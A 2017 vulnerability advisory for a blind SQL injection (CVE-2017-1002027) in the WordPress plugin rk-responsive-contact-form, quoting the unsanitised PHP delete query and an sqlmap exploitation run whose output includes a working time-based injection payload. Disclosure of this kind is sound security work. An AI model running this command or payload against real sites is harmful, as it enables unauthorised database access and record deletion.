Advisory #: 198
Title: Blind SQL Injection vulnerability in Wordpress plugin rk-responsive-contact-form v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2017-07-01
CVE-ID:[CVE-2017-1002027]
CWE:
Download Site: https://wordpress.org/plugins/rk-responsive-contact-form/
Vendor: rkdevelopers
Vendor Notified: 2017-08-05
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=198
Description: A simple WordPress plugin that generates a responsive contact form on your website or blog
Vulnerability:
The variable $delid isn't sanitized before being passed into an SQL query in file ./rk-responsive-contact-form/include/rk_user_list.php : 1-<?php 2- global $wpdb; 3- $table_name = $wpdb->prefix . "rk_contact"; 4: $info=$_GET["info"]; 5- if($info=="del") 6- { 7: $delid=$_GET["did"]; 8- 9- $wpdb->query("delete from ".$table_name." where `user_id`=".$delid); 10- echo "<div style='clear:both;'></div><div class='updated' id='message'><p><strong>:".__('User Record Deleted.','rkcontactform')."</strong>.</p></div>"; 11- } 12-?>
Export: JSON TEXT XML
Exploit Code:
  1. $ sqlmap -u 'http://example.com/wp-admin/admin.php?page=rk_user_lists&info=del&did=*' --load-cookies=./cookie.txt --level=2 --risk=1 --dbms=mysql
  2.  
  3.  
  4. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  5. sqlmap identified the following injection point(s) with a total of 318 HTTP(s) requests:
  6. ---
  7. Parameter: #1* (URI)
  8. Type: AND/OR time-based blind
  9. Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  10. Payload: http://example.com:80/wp-admin/admin.php?page=rk_user_lists&info=del&did=(CASE WHEN (6363=6363) THEN SLEEP(5) ELSE 6363 END)
  11. ---
  12. [10:57:22] [INFO] the back-end DBMS is MySQL
  13. web server operating system: Linux Ubuntu 16.04 (xenial)
  14. web application technology: Apache 2.4.18
  15. back-end DBMS: MySQL >= 5.0.12
  16. [10:57:22] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
  17.  
  18. [*] shutting down at 10:57:22
Screen Shots:
Notes: